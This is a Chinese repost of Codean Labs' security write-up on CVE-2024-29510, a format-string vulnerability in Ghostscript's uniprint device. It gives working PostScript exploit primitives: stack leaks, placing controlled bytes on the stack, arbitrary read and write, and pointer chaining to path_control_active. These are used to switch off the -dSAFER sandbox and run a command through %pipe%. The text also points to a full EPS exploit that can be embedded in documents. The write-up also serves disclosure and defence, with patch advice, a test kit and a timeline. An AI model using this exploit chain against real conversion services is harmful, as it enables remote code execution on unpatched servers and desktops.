总结
这是针对 CVE-2024-29510 的一篇文章,CVE-2024-29510 是 Ghostscript ≤ 10.03.0(但 ≥ 9.50)中的一个格式字符串漏洞。我们展示了如何利用此漏洞绕过-dSAFER沙盒并获得代码执行。
此漏洞对提供文档转换和预览功能的 Web 应用程序和其他服务有重大影响,因为这些服务通常在后台使用 Ghostscript。我们建议验证您的解决方案是否(间接)使用了 Ghostscript,如果是,请将其更新到最新版本。
这是 Codean Labs 发现的 Ghostscript 漏洞三部分系列文章的第一部分。
-
第二部分介绍 CVE-2024-29511,这是一个导致任意文件读/写的部分沙盒逃逸。
-
第三部分涵盖了一组与内存损坏相关的漏洞 CVE-2024-29506、CVE-2024-29507、CVE-2024-29508 和 CVE-2024-29509。
介绍
Ghostscript 于 1988 年首次发布 (!),是一款 Postscript 解释器和通用文档转换工具包。虽然它最初是一种用于与打印机通信的相对不为人知的 UNIX 工具,但如今已在自动化系统中得到广泛使用,用于处理用户提供的文件。
具体来说,许多处理和转换图像或文档的 Web 应用程序在某些时候都会调用 Ghostscript。通常通过 ImageMagick 和 LibreOffice 等工具间接调用。想想您在聊天程序和云存储应用程序中看到的附件预览图像;在这些程序背后的转换和渲染逻辑中,通常会调用 Ghostscript!
这些自动转换工作流程的增加促使 Ghostscript 开发人员实现各种沙盒功能并随着时间的推移对其进行强化。在最近的版本中,-dSAFER沙盒默认启用,并阻止或限制各种危险操作,例如文件 I/O 和命令执行,而这些操作通常在 Postscript 中是可能的。
从安全角度来看,这当然非常有趣。我们的攻击面很广(用户提供的输入文件和大量可供探索的功能),目标也很明确(逃离沙盒,导致远程代码执行 (RCE))。
值得一提的是,Postscript 是一种功能齐全的图灵完备编程语言。有点像 TeX,但可以说用途更广泛。例如,它支持文件 I/O,因此可以用 Postscript 编写与文档相关的转换和提取工具。从这个角度来看,使用管道执行命令(通过在文件打开路径前加上|或%pipe%)与在 Perl 或 Bash 中一样正常。
所有这些都将 Ghostscript 置于一个奇怪的境地,它想要允许所有这些遗留用例,但它也通常被用作不受信任文件的转换工具,这些文件通常被视为静态图形描述而不是程序。
沙盒游戏
沙盒-dSAFER主要围绕限制 I/O 操作。启用后,它将禁止%pipe%允许命令执行的功能(例如,通过打开文件%pipe%uname -a),并将文件访问限制到白名单路径集。在默认安装中,此列表包括一些 Ghostscript 内部路径,例如字体和/tmp/目录(至少在 Linux 上)。
3 4 add = % prints "7"
3 4 mul 2 add = % prints "14"
更复杂的逻辑需要一些堆栈“杂耍”:诸如pop、dup和之类的操作符exch在堆栈上复制和移动东西。
Postscript 有布尔值和数字等标准类型,还有字符串 ( (foobar))(请注意括号而不是引号)、列表 ( [ 1 2 3 ])、字典 ( << /Key (value) /Foo (bar) /Baz 42 >>) 和过程 ( { (Hello world!) = })。这些以斜线为前缀的字典键是名称。它们也可以在全局范围内定义(这也是一本字典!)使用def。然后您可以在不使用斜线的情况下取消引用它们:
/MyVariable (Hello world!) def
MyVariable = % prints "Hello world!"
名称也可以指代过程。在本文中,我们主要将其CamelCase用于变量和snake_case用户定义的过程。
% List all files under /tmp/
(/tmp/*) { = } 1024 string filenameforall
% Read and print contents of /tmp/foobar
(/tmp/foobar) (r) file 1024 string readstring pop =
% Write to a (new) file
(/tmp/newfile) (w) file dup (Hello world!) writestring closefile
在 Ghostscript 的某些集成用法中,这可能已经很危险了,因为临时的敏感数据或配置可能会存储在其中/tmp/。或者其他人上传的内容可能会出现在那里。
从攻击者的角度来看,当读写文件的能力与更改输出设备及其设置的能力相结合时,就变得更加有趣了。非沙盒setpagedevice操作员会收到一个包含设备参数的字典,包括设备名称本身。这些相当于您经常在命令行上指定的字段,包括输出文件路径。因此,可以使用任意设备呈现页面并读回生成的输出文件,所有这些都在同一次执行中完成,与最初设置的设备参数无关。
% simple_stroke.ps
% Change the current output file and page device (e.g., pdfwrite)
<<
/OutputFile (/tmp/foobar)
/OutputDevice /pdfwrite
>>
setpagedevice
% Some minimal graphical content (a single diagonal stroke)
newpath
100 600 moveto
200 400 lineto
5 setlinewidth
stroke
% Produce a page
showpage
% Read back the contents of the output file
(/tmp/foobar) (r) file 8000 string readstring pop
print
调用 showpage 后,设备已写出与页面内容对应的数据。因此,我们可以立即读回该数据,在本例中,使用 print 将其打印到 stdout:
$ ghostscript -q -dSAFER -dBATCH -dNODISPLAY simple_stroke.ps
%PDF-1.7
%
%%Invocation: ghostscript -q -dSAFER -dBATCH -dNODISPLAY ?
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x+T03T0A(˥d^ejPeeeh```"r@
e
最后的部分二进制 PDF 流对我们绘制的线条进行编码。如果我们让程序完成,Ghostscript 将关闭页面设备,该设备会很好地包装输出文件/tmp/foobar,在本例中是一个有效的 PDF,其中包含外部参照表和所有内容:
PDF 阅读器呈现的文件“foobar.pdf”。
太普遍了
Ghostscript 实现了几十种不同的输出设备,如其--help输出中所述。设备只是一些产生输出数据的逻辑。范围从x11alpha显示窗口(在 Linux 上)到jpegcmyk生成 JPEG 文件。同样,它支持多种文档类型(例如 XPS、EPS、PDF),还支持多种打印机命令语言(例如 PJL、PCL、epson、deskjet)。可以配置和选择设备(通常使用-sDEVICE=命令行,也可以setpagedevice通过我们之前看到的 Postscript 进行配置)。可配置参数因设备而异,但标准参数包括输出文件、页面格式、边距、颜色配置文件等。
# Read a file from stdin, and output it as PNG to stdout
# (e.g., how LibreOffice invokes Ghostscript to render embedded EPS files)
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=pngalpha -sOutputFile=- -
# Extract pages 3-5 from in.pdf into out.pdf
ghostscript -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf -dFirstPage=3 -dLastPage=5 -sDEVICE=pdfwrite in.pdf
# Determine the bounding box of an EPS file
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=bbox -sOutputFile=- img.eps
一个有趣的设备是uniprint“通用打印机设备”。它用途特别广泛,因为它可用于生成不同品牌和型号的打印机的命令数据,只需更改设备的配置参数即可。Ghostscript 附带一组.upp文件,这些文件只是 Ghostscript 命令行(例如注意-dSAFER和),其中预填充了特定打印机的参数,例如:-sDEVICE=uniprintcdj550.upp
-supModel="HP Deskjet 550c, 300x300DpI, Gamma=2"
-sDEVICE=uniprint
-dNOPAUSE
-P- -dSAFER
-dupColorModel=/DeviceCMYK
-dupRendering=/ErrorDiffusion
-dupOutputFormat=/Pcl
-r300x300
-dupMargins="{ 12.0 36.0 12.0 12.0}"
-dupBlackTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupCyanTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupMagentaTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupYellowTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupBeginPageCommand="<
1b2a726243
1b2a7433303052
1b266c33616f6c45
1b2a6f31643251
1b2a703059
1b2a72732d34753041
1b2a62326d
>"
-dupAdjustPageWidthCommand
-dupEndPageCommand="(0M�33*rbC�33E�33&l0H)"
-dupAbortCommand="(0M�33*rbC�33E1512121212 Printout-Aborted15�33&l0H)"
-dupYMoveCommand="(%dy�)"
-dupWriteComponentCommands="{ (%dv�) (%dv�) (%dv�) (%dw�) }"
/*
* Adjust the Printers Y-Position
*/
if(upd->yscan != upd->yprinter) { /* Adjust Y-Position */
if(1 < upd->strings[S_YMOVE].size) {
gs_snprintf((char *)upd->outbuf+ioutbuf, upd->noutbuf-ioutbuf,
(const char *) upd->strings[S_YMOVE].data,
upd->yscan - upd->yprinter);
ioutbuf += strlen((char *)upd->outbuf+ioutbuf);
} else {
<snip>
}
}
如果您熟悉格式字符串漏洞,那么您就会知道接下来会发生什么!
概念证明
由于这些参数只是常规设备参数,我们可以使用setpagedevice将设备更改为uniprint,就像我们之前所做的那样。然后,只需在传递给 的字典中设置它们,pdfwrite即可轻松传递各种参数的任意值。upXXXXsetpagedevice
至于带有格式字符串的两个参数,看起来upYMoveCommand最好玩,因为它只是一个字符串,如果您渲染一个简单的页面,则只会格式化一次。看起来这个命令用于告诉打印机在打印任何后续内容之前将打印头移动到特定的 Y 位置。但对于这种攻击,预期目的是什么并不重要。
那么,让我们尝试一个简单的概念验证。我们以之前的 PDF 示例为例,我们写入/tmp/foobar并读取它,但将setpagedevice调用替换为以下内容:
% Change the page device to `uniprint`, setting its output file and other params
<<
/OutputFile (/tmp/foobar)
/OutputDevice /uniprint
% Required uniprint parameters to reach the `upd_wrtrtl(...)` variant
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
% Set our testing payload
/upYMoveCommand (1:%xn2:%xn3:%xn4:%xn5:%xn6:%xn7:%xn8:%xn)
% Set some of the other string parameters
/upBeginJobCommand (Hello job!n)
/upBeginPageCommand (Hello page!n)
% empty strings to reduce spam
/upWriteComponentCommands {(0) (0) (0) (0)}
>>
setpagedevice
这为我们提供了如下输出字符串(从 读回/tmp/foobar):
Hello job!
Hello page!
1:be
2:be
3:5fd58000
4:5fd580f0
5:5fc36460
6:fffffff0
7:e48f1300
8:60005718
A?????????????????????????
uniprint在其他输出(其中大部分实际上是表示我们绘制的笔画的非 ASCII 数据)之间,我们找到了格式化的字符串,包括堆栈上前 8 个字的值!基本上,实现会gs_snprintf盲目地从堆栈中读取每个给定格式说明符的“参数”,假设这些参数是作为可变参数传递的。但由于在这种情况下这些参数实际上并未提供(仅给出了一个整数),因此它会从堆栈下方的位置读取。
使用这种技术,我们可以从当前堆栈指针的任意偏移量读取堆栈的内容,一直到argv和的内容envp(在调用之前main推送)。这本身已经很有用,因为它泄漏了环境变量和各种指针,这些指针可能有助于在其他漏洞中绕过 ASLR。在启用它的系统上,这还会泄漏堆栈 cookie 值,这可用于利用堆栈缓冲区溢出。
但是,我们可以做的不仅仅是打印堆栈值。如果我们能以某种方式控制堆栈上某个地方的指针,我们可以使用%s来取消引用它。虽然%s在空字节处停止读取,但这不是问题:如果我们知道我们想要读取 N 个字节,我们可以使用%.Ns(例如%.8s)。如果我们返回少于 N 个字符(比如 M),那么我们就知道后面一定有一个空字节,我们通过从(地址 + M + 1)读取(N – M – 1)个字节来递归,直到读取所有字节。当 N=8 时,此技术可用于提取存储在指定地址的完整指针,即使它恰好包含空字节。
类似地——这通常是格式字符串攻击的关键——如果我们可以控制堆栈上的值,我们就可以用它%n来写入它。这是一个相对模糊且独特的说明符,它将到该点为止打印的字符数写入给定的指针参数。一个简单的例子printf:
int n;
printf("Hello%n world!", &n);
// n == 5;
在我们的场景中,格式字符串的长度是有限制的,因此我们不能用它写入任意高的值(我们需要提供一个非常长的字符串来表示高值)。但是,我们可以使用%hn将任意 2 字节短字符串写入堆栈上的内存地址,只需在格式字符串中放入最多 2^16 字节的填充数据即可。
有趣的事实:gs_snprintfinvokesapr_vformatter是printfGhostscript 附带的自定义样式格式化程序。这意味着snprintf在这种情况下不使用 libc 提供的格式化程序(常规),这对我们的攻击有利,因为该格式化程序通常是针对格式字符串攻击的对策而编译的!
任意读/写?
因此,我们可以读取和写入恰好位于堆栈上的指针,但是任意读取/写入怎么办?在教科书格式字符串攻击中,格式字符串本身通常位于堆栈上,提供了一个易于控制的缓冲区来放置地址:
/* fmt.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char fmt[256];
strncpy(fmt, argv[1], sizeof(fmt));
printf(fmt);
}
$ ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx'
AAAAAAAA_7fff98ccd540,7fff98ccca50,d,0,7c7a77bd2180,7fff98cccbf8,20,4141414141414141,786c252c786c255f
注意堆栈上的文字4141414141414141,来自格式字符串的开头("AAAAAAAA")。通过用程序替换相应的内容,%lx程序%n将尝试将值写入该地址:
$ valgrind ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%n,%lx'
...
==671567== Invalid write of size 4
==671567== at 0x48E2BA1: __printf_buffer (vfprintf-process-arg.c:348)
==671567== by 0x48E36E0: __vfprintf_internal (vfprintf-internal.c:1523)
==671567== by 0x48D886E: printf (printf.c:33)
==671567== by 0x1091EC: main (in fmt)
==671567== Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
...
遗憾的是,我们的情况并非如此简单。我们的格式字符串位于堆上,因此我们需要在堆栈上找到一个我们可以完全控制的不同值。
堆栈由哪些值组成?嗯,它始终包含调用堆栈中每个函数的参数和局部变量。以下是调用时的调用堆栈gs_snprintf:
#0 upd_wrtrtl (upd=0x55555829c610, out=0x55555827fe50) at ./devices/gdevupd.c:6992
#1 upd_print_page (pdev=0x555558550068, out=0x55555827fe50) at ./devices/gdevupd.c:1161
#2 gx_default_print_page_copies (pdev=0x555558550068, prn_stream=0x55555827fe50, num_copies=0x1) at ./base/gdevprn.c:1160
#3 gdev_prn_output_page_aux (pdev=0x555558550068, num_copies=0x1, flush=0x1, seekable=0x0, bg_print_ok=0x0) at ./base/gdevprn.c:1062
#4 gdev_prn_output_page (pdev=0x555558550068, num_copies=0x1, flush=0x1) at ./base/gdevprn.c:1098
#5 default_subclass_output_page (dev=0x5555583c42e8, num_copies=0x1, flush=0x1) at ./base/gdevsclass.c:136
#6 gs_output_page (pgs=0x555558198490, num_copies=0x1, flush=0x1) at ./base/gsdevice.c:207
#7 zoutputpage (i_ctx_p=0x5555581981a8) at ./psi/zdevice.c:502
#8 do_call_operator (op_proc=0x55555646e9e8 <zoutputpage>, i_ctx_p=0x5555581981a8) at ./psi/interp.c:91
#9 interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd170, perror_object=0x7fffffffd4e0) at ./psi/interp.c:1375
#10 gs_call_interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:531
#11 gs_interpret (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:488
#12 gs_main_interpret (minst=0x5555581649b0, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:257
#13 gs_main_run_string_end (minst=0x5555581649b0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:945
#14 gs_main_run_string_with_length (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", length=0x18, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:889
#15 gs_main_run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:870
#16 run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", options=0x3, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imainarg.c:1169
#17 runarg (minst=0x5555581649b0, pre=0x555557000263 "", arg=0x7fffffffd658 "ptrs.ps", post=0x555557000914 ".runfile", options=0x3, user_errors=0x1, pexit_code=0x0, perror_object=0x0) at ./psi/imainarg.c:1128
#18 argproc (minst=0x5555581649b0, arg=0x7fffffffd658 "ptrs.ps") at ./psi/imainarg.c:1050
#19 gs_main_init_with_args01 (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:242
#20 gs_main_init_with_args (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:289
#21 psapi_init_with_args (ctx=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/psapi.c:281
#22 gsapi_init_with_args (instance=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/iapi.c:253
#23 main (argc=0x4, argv=0x7fffffffe228) at ./psi/gs.c:95
如您所见,此调用堆栈中的大多数参数值都是指针,其中的少数非指针值无法从 Postscript 中轻松或完全控制。遗憾的是,这些函数的局部变量似乎也存在同样的问题:它们都没有给我们提供 8 个易于控制的连续字节。
幽灵般的堆栈缓冲区
幸运的是,我们实际上并不局限于当前调用堆栈的函数。堆栈的地址空间是一个活动区域,随着堆栈的增长、缩小和再次增长,它会不断被覆盖。一些函数参数或局部变量可能是未初始化的缓冲区或填充结构,这意味着它们会保留以前的堆栈内容。因此,我们还在寻找函数的局部变量和参数,这些函数在某个时候恰好位于我们可访问的堆栈区域中,并且此后从未被覆盖。
其中一个变量是sstatein 中的变量gs_scan_token(...)。此函数作为 Ghostscript 解释器循环的一部分被调用,似乎是在需要处理新标记时(Postscript 是一种解释性语言)。当此函数遇到百分号时,它会进入某种逻辑,保存后面的注释文本,以防万一它是一个需要进一步处理的特殊注释。
特殊注释以%%或开头%!。例如,它们用于 EPS 文件头中传达元数据:
%!PS-Adobe-3.0 EPSF-3.0
%%Document-Fonts: Times-Roman
%%Title: hello.eps
%%Creator: Someone
%%CreationDate: 01-Jan-70
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
...
值得注意的是,当注释是输入流中的最后一个标记时,完整的注释字符串将memcpy被放入sstate.s_da.buf,这是一个堆栈分配的缓冲区:
case '%':
{ /* Scan as much as possible within the buffer. */
const byte *base = sptr;
const byte *end;
while (++sptr < endptr) /* stop 1 char early */
switch (*sptr) {
case char_CR:
end = sptr;
if (sptr[1] == char_EOL)
sptr++;
cend: /* Check for externally processed comments. */
retcode = scan_comment(i_ctx_p, myref, &sstate,
base, end, false);
if (retcode != 0)
goto comment;
goto top;
case char_EOL:
case 'f':
end = sptr;
goto cend;
}
/*
* We got to the end of the buffer while inside a comment.
* If there is a possibility that we must pass the comment
* to an external procedure, move what we have collected
* so far into a private buffer now.
*/
--sptr;
sstate.s_da.buf[1] = 0;
{
/* Could be an externally processable comment. */
uint len = sptr + 1 - base;
if (len > sizeof(sstate.s_da.buf))
len = sizeof(sstate.s_da.buf);
memcpy(sstate.s_da.buf, base, len);
daptr = sstate.s_da.buf + len;
}
sstate.s_da.base = sstate.s_da.buf;
sstate.s_da.is_dynamic = false;
}
恰巧,这个缓冲区没有被覆盖,我们可以从格式字符串中看到,如果showpage在特殊注释之后立即调用它。为了使注释成为解释器缓冲区中的最后一个标记,我们需要递归调用解释器。这可以通过多种方式完成,但最简单的方法是通过 Ghostscript 的.runstring运算符。可以把它想象成 Javascript 的eval。
为了演示,我们采用之前的示例,但使用 (trimmed) 从堆栈中打印更多 (大约 300 个) 8 字节字%lx:
...
/upYMoveCommand (1:%lxn2:%lxn3:%lxn ... 298:%lxn299:%lxn300:%lxn)
...
我们在之前插入以下内容showpage:
(%%XXAAAAAAAA) .runstring
现在,结果输出如下所示(修剪后):
...
222:7ffe2ee85dcc
223:7ffe2ee85dcc
224:7ffe2ee85dcc
225:5858252500000000
226:4141414141414141
227:0
228:0
229:0
230:7ffe2ee85e30
231:62bea58b57b0
...
看起来它sstate.s_da.buf大概跨越了堆栈索引 225 – 229。该结构的偏移量使得我们的注释的开头 ( "%%XX") 存储在 225 处的字中,而 226 处的字是我们完全控制的第一个字 ( "AAAAAAAA")。因此,我们可以稍微概括一下我们的代码,以构建一个简单的原语,将 8 字节字符串作为单个字放在堆栈上(真正的堆栈,而不是 Postscript 堆栈!):
/StackString (AAAAAAAA) def % this can be determined at runtime
(%%XX) StackString cat .runstring
现在我们可以将任意 8 字节值放在堆栈上的已知位置,这意味着我们最终可以正确使用它们%s并%n充分发挥它们的潜力,为我们提供内存读写原语!
我们将uniprint格式字符串调用和文件读入到一个名为的 Postscript 过程中do_uniprint:
% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
/FmtString exch def % the format string payload to use
/StackString exch def % which 8-byte string to put on the stack beforehand
% Select uniprint device with our payload
<<
/OutputFile PathTempFile
/OutputDevice /uniprint
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
/upOutputWidth 99999 % This gives a bigger buffer for our format string
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
/upYMoveCommand FmtString
>>
setpagedevice
% Manipulate the interpreter to put controlled data on the stack
(%%XX) StackString cat .runstring
% Produce a page with some content to trigger format string logic
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
showpage
% Read back the written data
/InFile PathTempFile (r) file def
/LeakedData InFile 4096 string readstring pop def
InFile closefile
LeakedData % return
} bind def
% <StackIdx> <AddrHex> write_to
/write_to {
/AddrHex exch str_ptr_to_le_bytes def % address to write to
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
AddrHex FmtString do_uniprint
pop % we don't care about formatted data
} bind def
% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
() FmtString do_uniprint
(__) search pop pop pop (__) search pop exch pop exch pop
} bind def
% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
/NumBytes exch def
/PtrHex exch def
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
PtrOct FmtString do_uniprint
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
% Check if we were able to read all bytes
Data length NumBytes eq {
% Yes we did! So return the integer conversion of the bytes
0 % accumulator
NumBytes 1 sub -1 0 {
exch % <i> <accum>
256 mul exch % <accum*256> <i>
Data exch get % <accum*256> <Data[i]>
add % <accum*256 + Data[i]>
} for
} {
% We did not read all bytes, add a null byte and recurse on addr+1
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
256 mul
} ifelse
} bind def
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
% Read 6 bytes
6 read_dereferenced_bytes_at
% Convert to hex string and return
16 12 string cvrs
} bind def
开发
我们的最终利用目标是逃离-dSAFER沙盒,因为这将使我们在运行 Ghostscript 的机器上获得完整的 RCE。-dSAFER启用后,Ghostscript 会将全局上下文结构中的布尔字段 ( path_control_active) 永久设置为 1。在 Postscript 中,通常无法在将其设置为 1 后将其改回。
然而,如果我们能够真正进入内存中的正确位置并将该字段设置为 0,-dSAFER那么只要 Ghostscript 进程运行,所有限制就会立即消失。
因此,我们需要找到的地址path_control_active(由于 ASLR,该地址每次都会发生变化)。该字段是gs_lib_ctx_core_t结构的一部分,该结构的全局实例分配在堆上,但我们不知道具体位置,因为它在堆栈上的任何地方都没有被引用。
gs_lib_ctx_core_t相反,我们可以利用指向结构的指针是 的一部分这一事实gs_lib_ctx_t,而 又是 的一部分gs_memory_t。碰巧的是,包含gs_snprintf调用的函数upd_wrtrtl(upd_p upd, gp_file *out)接收一个具有指向 的指针的gp_file *参数。换句话说,我们只需要从其一致的堆栈位置抓取,然后多次取消引用它即可获得。outgs_memory_tout&out->memory->gs_lib_ctx->core->path_control_active
由于这些字段在其父结构中的偏移量都不为 0,因此我们需要能够在再次取消引用之前向泄漏的(十六进制)指针值添加偏移量。幸运的是,Postscript 在处理 16 进制数字方面非常灵活,因此下面的方法可以解决问题:
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % hex string pointer
/Offset exch def % integer to add
/PtrNum (16#) PtrHexStr cat cvi def
% base 16, string length 12
PtrNum Offset add 16 12 string cvrs
} bind def
结果是一个十六进制字符串,但要将此值放入堆栈(记住,使用%%BB........注释),它需要是原始字节的字符串,并且反转(至少在小端系统上)。因此,我们编写了另一个辅助函数:
% Convert hex string "4142DEADBEEF" to padded little-endian byte string "xEFxBExADxDEx42x41x00x00"
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% Convert hex string argument to Postscript string
% using <DEADBEEF> notation
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
% Prepare resulting string (`string` fills with zeros)
/Res 8 string def
% For every byte in the input
0 1 ArgBytes length 1 sub {
/i exch def
% put byte at index (len(ArgBytes) - 1 - i)
Res ArgBytes length 1 sub i sub ArgBytes i get put
} for
Res % return} bind def
如果这让您感到困惑,请不要担心,这只是自动化漏洞利用的管道。有了所有这些原语,我们可以使用和path_control_active链获取 Ghostscript 的地址:read_dereferenced_ptr_atptr_add_offset
% Use primitives to obtain: &out->memory->gs_lib_ctx->core->path_control_active
/IdxOutPtr 5 def % Position of `gp_file *out` on the stack
/PtrOut IdxOutPtr read_ptr_at def
% `memory` is at offset 144 in `out`
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
% `gs_lib_ctx` is at offset 208 in `memory`
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
% `core` is at offset 8 in `gs_lib_ctx`
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
% `path_control_active` is at offset 156 in `core`
/PtrPathControlActive 156 PtrCore ptr_add_offset def
现在我们有了 的地址path_control_active。剩下的唯一步骤就是用 0 覆盖它。使用%n它的变体无法直接写入如此低的值,但我们可以通过改为写入 轻松克服这个问题&path_control_active - 3,在小端平台上,它将用我们写入的任何(小)整数的最高有效字节覆盖实际字段的最低有效字节,从而将其设置为零。我们确实部分破坏了结构中的另一个值,但这似乎并不重要。之后沙盒将被禁用,允许通过 执行 shell 命令%pipe%:
% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
% And overwrite it!
IdxStackControllable PtrTarget write_to
% And now path_control_active == 0, so we can use %pipe% as if -dSAFER was never set :)
(%pipe%gnome-calculator) (r) file
在此处下载:https://codeanlabs.com/wp-content/uploads/2024/06/CVE-2024-29510_poc_calc.eps适用于 Linux (x86-64) 的完整漏洞利用程序。当然,您可以根据自己的喜好更改末尾的命令 ( gnome-calculator)。
漏洞代码也是一个有效的 EPS 文件,因此可以将其上传到接受 EPS 并调用 Ghostscript 的图像转换服务。或者,我们可以将其嵌入到 LibreOffice 文档文件中,在打开文件时触发命令执行,无论是在服务器上通过 headlesslibreoffice-convert还是在桌面上:
在 Codean Labs,我们意识到跟踪此类依赖项及其相关风险非常困难。我们很高兴为您分担这一负担。我们以高效、彻底和人性化的方式执行应用程序安全评估,让您专注于开发。单击此处了解更多信息。
针对此漏洞的最佳缓解措施是将 Ghostscript 安装更新至 v10.03.1。如果您的发行版未提供最新的 Ghostscript 版本,则可能仍发布了包含此漏洞修复程序的修补程序版本(例如Debian、Ubuntu、Fedora)。也可能是您的发行版提供的版本太旧(< v9.50),因此也不容易受到此 CVE 的影响。
如果您不确定是否受到影响,我们提供了一个测试套件:一个小型 Postscript 文件,它将告诉您 Ghostscript 版本是否受到影响。在此处下载,然后按如下方式运行它:
ghostscript -q -dNODISPLAY -dBATCH -dSAFER CVE-2024-29510_testkit.ps
2024-03-14:向 Artifex Ghostscript 问题追踪器报告
2024-03-24:Mitre 分配的 CVE-2024-29510
2024-03-28:开发人员确认该问题
2024-05-02:Ghostscript 10.03.1 发布,可缓解此问题
2024-07-02:发布此博文
原文始发于微信公众号(Ots安全):CVE-2024-29510 – 使用格式字符串利用 Ghostscript
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论